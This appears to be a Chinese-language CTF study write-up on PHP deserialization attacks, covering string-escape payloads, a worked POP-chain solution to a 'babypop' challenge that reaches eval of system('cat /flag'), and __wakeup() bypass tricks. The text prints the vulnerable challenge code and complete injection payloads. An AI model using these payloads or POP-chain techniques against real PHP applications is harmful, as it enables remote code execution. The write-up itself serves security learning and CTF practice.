O:1:"a":2:{s:5:"uname";s:3:"hack";s:8:"password";s:6:"Eurake";}

我们发现了一个奇怪的地方：

s:3:"hack"

那么这就是漏洞所在了，s:3的结构导致溢出了一位

那么我们的思路应该是这样：构造新的password序列化字符串包含在uname里面，通过溢出的字符个数来作为实际上会被反序列化的序列化字符串：

//新的password序列化字符串：
";s:8:"password";s:5:"lu1ux";}//这里用}的原因是闭合前面的{，使其成为完整的序列化字符串而不考虑后面
//经过计数，一共有30个字符需要溢出

那么最终我们的payload中uname需要包含30个php，即：

$a->uname='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:8:"password";s:5:"lu1ux";}';

最终序列化字符串结果为：

O:1:"a":2:{s:5:"uname";s:120:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:5:"lu1ux";}";s:8:"password";s:6:"Eurake";}

第一串里面刚好有30个hack对应120，那么我们试试这串payload能不能得到我们想要的结果：

成功了，所以字符串逃逸增加的重点就在于我们要把需要的内容作为属性的值传入，同时构造相应长度的字符串来溢出

# 字符串逃逸-减少

这里选择2026furryCTF上的babypop题目作为演示：

<?php
error_reporting(0);
highlight_file(__FILE__);
class SecurityProvider {
    private $token;
    public function __construct() {
        $this->token = md5(uniqid());
    }
    public function verify($data) {
        if (strpos($data, '..') !== false) {
            die("Attack Detected");
        }
        return $data;
    }
}
class LogService {
    protected $handler;
    protected $formatter;
    
    public function __construct($handler = null) {
        $this->handler = $handler;
        $this->formatter = new DateFormatter();
    }

    public function __destruct() {
        if ($this->handler && method_exists($this->handler, 'close')) {
            $this->handler->close();
        }
    }
}
class FileStream {
    private $path;
    private $mode;
    public $content; 
    public function __construct($path, $mode) {
        $this->path = $path;
        $this->mode = $mode;
    }
    public function close() {
        if ($this->mode === 'debug' && !empty($this->content)) {
            $cmd = $this->content;
            if (strlen($cmd) < 2) return;
            @eval($cmd);
        } else {
            return true;
        }
    }
}
class DateFormatter {
    public function format($timestamp) {
        return date('Y-m-d H:i:s', $timestamp);
    }
}
class UserProfile {
    public $username;
    public $bio;
    public $preference; 

    public function __construct($u, $b) {
        $this->username = $u;
        $this->bio = $b;
        $this->preference = new DateFormatter();
    }
}
class DataSanitizer {
    public static function clean($input) {
        return str_replace("hacker", "", $input);
    }
}
$raw_user = $_POST['user'] ?? null;
$raw_bio = $_POST['bio'] ?? null;
if ($raw_user && $raw_bio) {
    $sec = new SecurityProvider();
    $sec->verify($raw_user);
    $sec->verify($raw_bio);
    $profile = new UserProfile($raw_user, $raw_bio);
    $data = serialize($profile);
    if (strlen($data) > 4096) {
        die("Data too long");
    }
    $safe_data = DataSanitizer::clean($data);
    $unserialized = unserialize($safe_data);
    if ($unserialized instanceof UserProfile) {
        echo "Profile loaded for " . htmlspecialchars($unserialized->username);
    }
}
?>

以上为题目内容，分析完我们应该能看出来哪些是构造pop链所必需的：

class LogService {
    protected $handler;
    protected $formatter;
    
    public function __construct($handler = null) {
        $this->handler = $handler;
        $this->formatter = new DateFormatter();
    }

    public function __destruct() {
        if ($this->handler && method_exists($this->handler, 'close')) {
            $this->handler->close();
        }
    }
}
class FileStream {
    private $path;
    private $mode = 'debug';
    public $content = "system('cat /flag')"; 
    public function __construct($path, $mode) {
        $this->path = $path;
        $this->mode = $mode;
    }
    public function close() {
        if ($this->mode === 'debug' && !empty($this->content)) {
            $cmd = $this->content;
            if (strlen($cmd) < 2) return;
            @eval($cmd);
        } else {
            return true;
        }
    }
}
class DateFormatter {
    public function format($timestamp) {
        return date('Y-m-d H:i:s', $timestamp);
    }
}

准确来说就是前两个类，那么我们期望执行的反序列化内容化为：

$a = new LogService();
$b = new FileStream();
$ref = new ReflectionClass($a);
$refProperty = $ref->getProperty('handler');
$refProperty->setAccessible(true);
$refProperty->setvalue($a,$b);
print_r(serialize($a));

unserialize(serialize($a));

这段代码所输出的payload是这样：

O:10:"LogService":2:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";N;s:16:"FileStreammode";N;s:7:"content";s:20:"system('cat /flag');";}s:12:"*formatter";O:13:"DateFormatter":0:{}}

那么让我们简单分析一下我们需要做什么：

1.传入user和bio的值
2.想办法把我们的期望执行的payload放在序列化字符串里面，也就是$safe_data

那看看其他类的作用是什么：

if ($raw_user && $raw_bio) { //首先会检测我们传入的参数的值是否存在
    $sec = new SecurityProvider();
    $sec->verify($raw_user);
    $sec->verify($raw_bio);  
    
    //其次调用SecurityPrrovider这个类中的verify函数去查看我们传入的参数的值中是否存在..字符
    
    $profile = new UserProfile($raw_user, $raw_bio);
    
    //接着把我们传入的参数的值赋给新创建的UserPrrofile的username和bio
    
    $data = serialize($profile);
    
    //然后序列化这个新创建的对象
    
    if (strlen($data) > 4096) {
        die("Data too long");
    }  //序列化之后的字符串长度不能超过4096个字符
    $safe_data = DataSanitizer::clean($data);
    
    //调用DataSanitizer中的clean函数对序列化之后的字符串进行删除操作，也就是把序列化字符串中的所有hacker替换为空
    
    $unserialized = unserialize($safe_data);
    //反序列化
    if ($unserialized instanceof UserProfile) {
        echo "Profile loaded for " . htmlspecialchars($unserialized->username);
    }
}  //判断反序列化之后的对象是否属于UserProfile类

这里需要注意的是如果我们的反序列化字符串无法构成一个对象的话，会导致结构崩溃，也就是说我们的RCE无法执行，那么我们需要在插入我们期望的payload的同时保证UserProfile结构的完整

假设我传入user=1&bio=1，那么 $data和$ safe_data结果分别为：

O:11:"UserProfile":3:{s:8:"username";s:1:"1";s:3:"bio";s:1:"1";s:10:"preference";O:13:"DateFormatter":0:{}}


O:11:"UserProfile":3:{s:8:"username";s:1:"1";s:3:"bio";s:1:"1";s:10:"preference";O:13:"DateFormatter":0:{}}

但如果我把user的值换为hacker，会造成以下结果

O:11:"UserProfile":3:{s:8:"username";s:6:"hacker";s:3:"bio";s:1:"1";s:10:"preference";O:13:"DateFormatter":0:{}}

O:11:"UserProfile":3:{s:8:"username";s:6:"";s:3:"bio";s:1:"1";s:10:"preference";O:13:"DateFormatter":0:{}}

我们注意到$safe_data中有一串变成了

s:6:"";

那么这里就涉及到字符串逃逸的知识了，我们可以在保留UserProfile结构完整性的同时插入我们期望执行的payload，所以我们需要逃逸的部分字符串为：

";s:3:"bio";s:1xx:

考虑到我们的bio内容为我们的期望payload，那么长度经过计数是三位数，所以我们需要逃逸的字符串长度为

18，刚好是三个hacker的长度，而本来作为展示值的"内容变成了s:6"的闭合符，那么实际上我们的序列化字符串就变成了：

O:11:"UserProfile":3:{s:8:"username";s:18:"xxxxxxxxxxxxxxxxxx"1";s:10:"preference";O:13:"DateFormatter":0:{}}

然后1作为我们可控内容自然就拼接进了这个序列化字符串里面，为了保证我们UserProfile的完整性，我们需要加上如下内容：

s:3:"bio";s:1:"1";s:10:"preference";

记得在最前面加上;保证序列化字符串的结构，在最后面加上}

所以我们的bio内容为：

;s:3:"bio";s:1:"1";s:10:"preference";O:10:"LogService":2:{s:10:"%00*%00handler";O:10:"FileStream":3:{s:16:"%00FileStream%00path";s:1:"1";s:16:"%00FileStream%00mode";s:5:"debug";s:7:"content";s:20:"system('cat /flag');";}s:12:"%00*%00formatter";O:13:"DateFormatter":0:{}}}

由于属性的不同：

Protected 属性 ($handler, $formatter)：格式是 \0*\0属性名。例如 *handler 序列化后长度是 10，内容是 %00*%00handler。

Private 属性 ($path, $mode)：格式是 \0类名\0属性名。例如 FileStream 的 $path 序列化后长度是 16，内容是 %00FileStream%00path。

而我们得到的是：

O:10:"LogService":2:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";N;s:16:"FileStreammode";N;s:7:"content";s:20:"system('cat /flag');";}s:12:"*formatter";O:13:"DateFormatter":0:{}}

所以需要修改内容：

*handler    %00*%00handler
FileStreampath    %00FileStream%00path
FileStreammode    %00FileStream%00mode
*formatter    %00*%00formatter

综上所述：

user=hackerhackerhacker&bio=;s:3:"bio";s:1:"1";s:10:"preference";O:10:"LogService":2:{s:10:"%00*%00handler";O:10:"FileStream":3:{s:16:"%00FileStream%00path";s:1:"1";s:16:"%00FileStream%00mode";s:5:"debug";s:7:"content";s:20:"system('cat /flag');";}s:12:"%00*%00formatter";O:13:"DateFormatter":0:{}}}

那么字符串逃逸减少的重点就在于我们需要将原本的序列化字符串的后面部分内容给作为前一个属性的值，然后在后面构造我们想要反序列化的内容

# 绕过__wakeup()

这里学习的是利用fast destruct来绕过

# 修改属性值绕过__wakeup()

php5>5.6.25 php7<7.0.10

如果存在__wakeup()方法，调用unserialize()方法之前会先调用__wakeup()方法，但是序列化字符串中表示对象属性个数的值大于真实属性个数时，就会跳过__wwakeup()的执行

在以下这串代码中：

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __destruct(){
        echo "ZLARYY!!!";
    }
    function  __wakeup(){
        echo $this->Chesmond = "You Lose!";
    }
}
$a=new ZLARYY();
$b=unserialize(serialize($a));

这样会正常触发__wakeup()方法的内容

我们输出序列化字符串看到的是：

O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}

如果我们把这串序列化字符串属性值修改为4，那么看看还会不会触发__wakeup()

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __destruct(){
        echo "ZLARYY!!!";
    }
    function  __wakeup(){
        echo $this->Chesmond = "You Lose!";
    }
}
$a=new ZLARYY();
$b = unserialize('O:6:"ZLARYY":4:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}');

成功绕过了__wakeup()

# 破坏序列化字符串结构绕过__wakeup()

如下代码：

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __destruct(){
        echo "ZLARYY!!!";
    }
    function  __wakeup(){
        echo $this->Chesmond = "You Lose!";
    }
}
class illy4{
    public $object;
}
$a=new ZLARYY();
$b = new illy4();
$b->object = $a;
print_r(serialize($b));

正常情况下这段代码输出序列化字符串内容为：

O:5:"illy4":1:{s:6:"object";O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}}

如果我们让他反序列化内容变为：

O:5:"illy4":1:{s:6:"object";O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}

那么这种情况也可以实现绕过__wakeup()